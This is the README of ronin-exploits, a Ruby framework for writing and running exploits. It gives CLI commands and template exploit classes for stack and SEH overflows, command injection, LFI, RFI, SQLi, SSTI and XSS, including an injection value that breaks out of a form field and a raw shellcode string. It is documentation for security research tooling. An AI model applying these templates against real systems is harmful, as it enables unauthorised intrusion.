ronin-exploits

• Source
• Issues
• Documentation
• Discord | Mastodon

Description

ronin-exploits is a Ruby micro-framework for writing and running exploits. ronin-exploits allows one to write exploits as plain old Ruby classes. ronin-exploits can be distributed as Ruby files or as git repositories that can be installed using ronin-repos.

tl;dr It's like a simpler and more modular version of Metasploit.

ronin-exploits is part of the ronin-rb project, a Ruby toolkit for security research and development.

Features

• Provides a succinct syntax and API for writing exploits in as few lines as possible.
• Supports defining exploits as plain old Ruby classes.
• Supports loading exploits from Ruby files or from installed 3rd-party git repositories.
• Provides base classes and mixin modules for a variety of exploit types:
  • Stack Overflows
  • SEH Overflows
  • Heap Overflows
  • Use After Free (UAF)
  • Command Injection
  • Open Redirect
  • Local File Inclusions (LFI)
  • Remote File Inclusions (RFI)
  • SQL injections (SQLi)
  • Cross-Site Scripting (XSS)
  • Server-Side Template Injection (SSTI)
• Uses the ronin-payloads library for exploit payloads.
• Uses the ronin-post_ex library for post-exploitation.
• Provides a simple CLI for listing, displaying, running, and generating new exploits.
• Has 9%% test coverage.
• Has 86% documentation coverage.
• Small memory footprint (~47Kb).

Anti-Features

• No magic: exploits are defined as classes in files.
• No global state that could cause memory leaks.
• Not a big bulky framework, just a library.
• Not a central repository. Additional Ronin exploits can be hosted in other git repositories. This prevents censorship of exploit research.
• Does not contain any pre-written exploits. This prevents ronin-exploits from being taken down or censored.

Synopsis

Usage: ronin-exploits [options] [COMMAND [ARGS...]]

Options:
    -h, --help                       Print help information

Arguments:
    [COMMAND]                        The command name to run
    [ARGS ...]                       Additional arguments for the command

Commands:
    completion
    help
    irb
    list, ls
    new
    run
    show, info

Generate a new exploit file:

$ ronin-exploits new example_exploit.rb --type stack-overflow \
    --arch x86 --os linux --software ExampleWare --software-version 1.2.3 \
    --author Postmodern --author-email "postmodern.mod3@gmail.com" \
    --summary "Example exploit" --description "This is an example."

Install a 3rd-party repository of exploits:

$ ronin-repos install https://github.com/user/exploits.git

List available exploits:

$ ronin-exploits list

Print information about an exploit:

$ ronin-exploits show NAME

Print information about an exploit from a file:

$ ronin-exploits show -f path/to/exploit.rb

Run an exploit:

$ ronin-exploits run my_exploit --param host=example.com --param port=9999

Load an exploit from a specific file, then run it:

$ ronin-exploits run -f path/to/my_exploit.rb --param host=example.com --param port=9999

Run an exploit with a raw payload:

$ ronin-exploits run my_exploit --param host=example.com --param port=9999 \
    --payload-string $'\x66\x31\xc0\xfe\xc0\xb3\xff\xcd\x80'

Read a raw payload from a file:

$ ronin-exploits run my_exploit --param host=example.com --param port=9999 \
    --read-payload shellcode.bin

Generate a ronin repository of your own exploits (and/or payloads):

$ ronin-repos new my-repo
$ cd my-repo/
$ mkdir exploits
$ ronin-exploits new exploits/my_exploit.rb --type stack-overflow \
    --arch x86 --os linux --software ExampleWare --software-version 1.2.3 \
    --author You --author-email "you@example.com" \
    --summary "My exploit" --description "This is my example."
$ vim exploits/my_exploit.rb
$ git add exploits/my_exploit.rb
$ git commit
$ git push

Examples

Define a basic remote TCP exploit:

require 'ronin/exploits/exploit'
require 'ronin/exploits/mixins/remote_tcp'

module Ronin
  module Exploits
    class MyExploit < Exploit

      include Mixins::RemoteTCP

      register 'my_exploit'

      summary 'My first exploit'
      description <<~EOS
        This is my first exploit.
        Bla bla bla bla.
      EOS

      author '...'
      author '...', email: '...', twitter: '...'

      disclosure_date 'YYY-MM-DD'
      release_date 'YYYY-MM-DD'

      advisory 'CVE-YYYY-NNNN'
      advisory 'GHSA-XXXXXX'
      software 'TestHTTP'
      software_versions '1.0.0'..'1.5.4'

      param :cmd, desc: 'The command to run'

      def test
        # ...
      end

      def build
        # ...
      end

      def launch
        # ...
      end

      def cleanup
        # ...
      end

    end
  end
end

Define a Stack Overflow exploit:

require 'ronin/exploits/stack_overflow'
require 'ronin/exploits/mixins/remote_tcp'

module Ronin
  module Exploits
    class MyExploit < StackOverflow

      register 'my_exploit'

      include Mixins::RemoteTCP

      def build
        ebp = 0x06eb9090
        eip = 0x1001ae86

        @buffer = buffer_overflow(length: 1024, nops: 16, payload: payload, bp: ebp, ip: eip)
      end

      def launch
        tcp_send "USER #{@buffer}"
      end

    end
  end
end

Define a SEH Overflow exploit:

require 'ronin/exploits/seh_overflow'
require 'ronin/exploits/mixins/remote_tcp'

module Ronin
  module Exploits
    class MyExploit < SEHOverflow

      register 'my_exploit'

      include Mixins::RemoteTCP

      def build
        nseh = 0x06eb9090 # short jump 6 bytes
        seh  = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL

        @buffer = seh_buffer_overflow(length: 1024, nops: 16, payload: payload, nseh: nseh, seh: seh)
      end

      def launch
        tcp_send "USER #{@buffer}"
      end

    end
  end
end

Define a Command Injection exploit:

require 'ronin/exploits/command_injection'
require 'ronin/exploits/mixins/http'

module Ronin
  module Exploits
    class MyExploit < CommandInjection

      register 'my_exploit'

      include Mixins::HTTP

      def launch
        http_post '/form.php', post_data: {var: "';#{payload}#"}
      end

    end
  end
end

Define an Open Redirect exploit:

require 'ronin/exploits/open_redirect'

module Ronin
  module Exploits
    class MyExploit < OpenRedirect

      register 'my_exploit'

      base_path '/path/to/page.php'
      query_param 'url'

    end
  end
end

Define a Local File Inclusion (LFI) exploit:

require 'ronin/exploits/lfi'

module Ronin
  module Exploits
    class MyExploit < LFI

      register 'my_exploit'

      base_path '/path/to/page.php'
      query_param 'template'
      depth 7

    end
  end
end

Define a Remote File Inclusion (RFI) exploit:

require 'ronin/exploits/rfi'

module Ronin
  module Exploits
    class MyExploit < RFI

      register 'my_exploit'

      base_path '/path/to/page.php'
      query_param 'template'

    end
  end
end

Define a SQL injection (SQLi) exploit:

require 'ronin/exploits/sqli'

module Ronin
  module Exploits
    class MyExploit < SQLI

      register 'my_exploit'

      base_path '/path/to/page.php'
      query_param 'id'
      escape_quote true

    end
  end
end

Define a Server-Side Template Injection (SSTI) exploit:

require 'ronin/exploits/ssti'

module Ronin
  module Exploits
    class MyExploit < SSTI

      register 'my_exploit'

      base_path '/path/to/page.php'
      query_param 'name'
      escape_expr ->(expr) { "${{#{expr}}}" }

    end
  end
end

Define a Cross-Site Scripting (XSS) exploit:

require 'ronin/exploits/xss'

module Ronin
  module Exploits
    class MyExploit < XSS

      register 'my_exploit'

      base_path '/path/to/page.php'
      query_param 'title'

    end
  end
end

For real-world example ronin exploits, see the example-exploits repository.

Requirements

• Ruby >= 3.0.0
• uri-query_params ~> 0.6
• ronin-support ~> 1.0
• ronin-code-sql ~> 2.0
• ronin-core ~> 0.2
• ronin-repos ~> 0.1
• ronin-payloads ~> 0.1
• ronin-vulns ~> 0.1
• ronin-post_ex ~> 0.1

Install

$ gem install ronin-exploits

Development

1. Fork It!
2. Clone It!
3. cd ronin-exploits
4. ./scripts/setup
5. git checkout -b my_feature
6. Code It!
7. bundle exec rake spec
8. git push origin my_feature

Disclaimer

ronin-exploits does not contain any exploits of it's own, but is a library for writing and running 3rd party exploits. Therefor, ronin-exploits must not and should not be considered to be malicious software (malware) or malicious in nature.

License

ronin-exploits - A Ruby library for ronin-rb that provides exploitation and payload crafting functionality.

Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)

ronin-exploits is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

ronin-exploits is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public License along with ronin-exploits. If not, see https://www.gnu.org/licenses/.